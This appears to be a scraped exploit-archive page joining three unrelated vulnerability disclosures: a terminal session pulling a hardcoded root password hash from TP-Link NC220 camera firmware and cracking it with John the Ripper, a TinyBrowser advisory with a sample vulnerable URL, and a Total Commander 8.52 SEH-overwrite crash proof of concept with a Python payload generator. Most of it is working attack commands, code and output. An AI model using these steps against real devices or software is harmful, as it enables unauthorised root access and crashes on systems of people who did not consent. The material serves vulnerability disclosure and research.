root@zslab:~# strings NC220_1.0.28_Build_150629_Rel.22346.bin |grep root
root_uImage
p2048_newroot.cer
root:$1$gt7/dy0B$6hipR95uckYG1cQPXJB.H.:0:0:Linux User,,,:/home/root:bin/sh
Nproot:x:0:
root@zslab:~# strings NC220_1.0.28_Build_150629_Rel.22346.bin | grep home > crack.me
root@zslab:~# john crack.me
Loaded 1 password hash (FreeBSD MD5 [128/128 SSE2 intrinsics 12x])
root             (root)
guesses: 1  time: 0:00:00:00 DONE (Mon Aug  3 05:52:55 2015)  c/s: 400  trying:
root - Userroot
Use the "--show" option to display all of the cracked passwords reliably
root@zslab:~# john crack.me --show
root:root:0:0:Linux User,,,:/home/root:/bin/sh

1 password hash cracked, 0 left
root@zslab:~#
HireHackking 
source: https://www.securityfocus.com/bid/57230/info
    
TinyBrowser is prone to multiple vulnerabilities.
    
An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
http://www.example.com/js/tiny_mce/plugins/tinybrowser/edit.php?type=
HireHackking 
'''
********************************************************************************************
# Exploit Title: Total Commander 32bit SEH Overwrite.
# Date: 8/27/2015
# Exploit Author: Un_N0n
# Software Vendor: http://www.ghisler.com/
# Software Link: http://www.ghisler.com/download.htm
# Version: 8.52
# Tested on: Windows 8 x64(64 BIT)
********************************************************************************************
[Info:]
EAX 00106541 
ECX FFFFFEFA
EDX 0031E941
EBX 04921F64
ESP 001065FC 
EBP 41414141
ESI 04930088
EDI 0031E9B0

EIP 41414141

SEH chain of main thread, item 0
	Address=001065FC
	SE handler=41414141
'''

[Steps to Produce the Crash]:
1- Open up 'TOTALCMD.EXE'.
2- Goto Files -> Change Attributes.
3- In time field paste in contents of 'Crash.txt'.
~ Software will crash b/c SEH Overwrite.

[Code for CRASH.txt]
file = open("crash.txt",'w')
file.write("A"*5000)
file.close()

->After Reporting,
	Vendor has released(bugfix release) a new version(8.52a[9th SEPT 2015]).
**********************************************************************************************